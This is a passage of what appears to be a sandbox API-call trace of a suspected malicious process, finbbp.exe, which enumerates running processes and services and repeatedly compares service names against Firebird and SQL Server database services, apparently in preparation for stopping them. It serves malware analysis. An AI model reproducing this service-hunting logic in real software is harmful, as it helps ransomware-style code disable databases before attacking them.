[0232.563] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0232.563] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0232.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0232.563] lstrlenW (lpString="Spooler") returned 7 [0232.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0232.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0232.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0232.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0232.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0232.563] lstrlenW (lpString="StateRepository") returned 15 [0232.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0232.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0232.563] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0232.563] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0232.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0232.563] lstrlenW (lpString="SysMain") returned 7 [0232.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0232.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0232.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0232.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0232.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0232.564] lstrlenW (lpString="SystemEventsBroker") returned 18 [0232.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0232.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0232.564] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0232.564] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0232.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0232.564] lstrlenW (lpString="Themes") returned 6 [0232.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0232.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0232.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0232.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0232.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0232.564] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0232.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0232.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0232.564] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0232.564] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0232.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0232.564] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0232.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0232.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0232.564] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0232.564] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0232.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4214d98 | out: hHeap=0x670000) returned 1 [0232.565] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3bc [0232.572] Process32FirstW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.572] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.573] lstrlenW (lpString="System") returned 6 [0232.573] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.573] lstrlenW (lpString="smss.exe") returned 8 [0232.573] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.574] lstrlenW (lpString="csrss.exe") returned 9 [0232.574] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.574] lstrlenW (lpString="wininit.exe") returned 11 [0232.574] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.575] lstrlenW (lpString="csrss.exe") returned 9 [0232.575] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.575] lstrlenW (lpString="winlogon.exe") returned 12 [0232.576] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.576] lstrlenW (lpString="services.exe") returned 12 [0232.576] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.577] lstrlenW (lpString="lsass.exe") returned 9 [0232.577] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0232.577] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0232.577] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0232.578] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0232.578] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.578] lstrlenW (lpString="svchost.exe") returned 11 [0232.578] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.579] lstrlenW (lpString="svchost.exe") returned 11 [0232.579] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.579] lstrlenW (lpString="dwm.exe") returned 7 [0232.579] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.580] lstrlenW (lpString="svchost.exe") returned 11 [0232.580] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.581] lstrlenW (lpString="svchost.exe") returned 11 [0232.581] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.581] lstrlenW (lpString="svchost.exe") returned 11 [0232.581] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.662] lstrlenW (lpString="svchost.exe") returned 11 [0232.662] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.662] lstrlenW (lpString="svchost.exe") returned 11 [0232.662] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.663] lstrlenW (lpString="svchost.exe") returned 11 [0232.663] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.664] lstrlenW (lpString="svchost.exe") returned 11 [0232.664] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.664] lstrlenW (lpString="svchost.exe") returned 11 [0232.664] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.665] lstrlenW (lpString="svchost.exe") returned 11 [0232.665] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.665] lstrlenW (lpString="svchost.exe") returned 11 [0232.665] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.666] lstrlenW (lpString="spoolsv.exe") returned 11 [0232.666] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.666] lstrlenW (lpString="svchost.exe") returned 11 [0232.667] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.667] lstrlenW (lpString="audiodg.exe") returned 11 [0232.667] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.668] lstrlenW (lpString="sihost.exe") returned 10 [0232.668] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.668] lstrlenW (lpString="svchost.exe") returned 11 [0232.668] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.669] lstrlenW (lpString="taskhostw.exe") returned 13 [0232.669] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0232.670] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0232.670] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0232.670] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0232.670] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0232.671] lstrlenW (lpString="Memory Compression") returned 18 [0232.671] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.671] lstrlenW (lpString="explorer.exe") returned 12 [0232.671] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.672] lstrlenW (lpString="SearchUI.exe") returned 12 [0232.672] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0232.672] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0232.673] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.673] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0232.673] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.674] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0232.674] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0232.674] lstrlenW (lpString="finbbp.exe") returned 10 [0232.674] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0232.675] lstrlenW (lpString="cmd.exe") returned 7 [0232.675] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0232.676] lstrlenW (lpString="conhost.exe") returned 11 [0232.676] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0232.676] lstrlenW (lpString="mode.com") returned 8 [0232.677] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0232.677] CloseHandle (hObject=0x3bc) returned 1 [0232.677] Sleep (dwMilliseconds=0x1f4) [0233.661] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aabc8 [0233.662] EnumServicesStatusExW (in: hSCManager=0x41aabc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0233.662] GetLastError () returned 0xea [0233.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x4110678 [0233.662] EnumServicesStatusExW (in: hSCManager=0x41aabc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4110678, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4110678, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0233.663] CloseServiceHandle (hSCObject=0x41aabc8) returned 1 [0233.664] lstrlenW (lpString="AppXSvc") returned 7 [0233.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0233.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0233.664] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0233.664] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0233.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0233.664] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0233.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0233.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0233.664] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0233.664] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0233.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0233.664] lstrlenW (lpString="Audiosrv") returned 8 [0233.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0233.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0233.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0233.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0233.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0233.664] lstrlenW (lpString="BFE") returned 3 [0233.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0233.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0233.664] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0233.664] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0233.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0233.664] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0233.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0233.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0233.665] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0233.665] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0233.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0233.665] lstrlenW (lpString="CDPSvc") returned 6 [0233.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0233.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0233.665] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0233.665] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0233.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0233.665] lstrlenW (lpString="ClickToRunSvc") returned 13 [0233.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0233.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0233.665] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0233.665] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0233.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0233.665] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0233.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0233.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0233.665] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0233.665] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0233.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0233.665] lstrlenW (lpString="CryptSvc") returned 8 [0233.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0233.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0233.665] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0233.665] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0233.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0233.665] lstrlenW (lpString="DcomLaunch") returned 10 [0233.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0233.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0233.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0233.665] lstrlenW (lpString="DeviceAssociationService") returned 24 [0233.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0233.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0233.666] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0233.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0233.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0233.666] lstrlenW (lpString="Dhcp") returned 4 [0233.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0233.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0233.666] lstrcmpiW 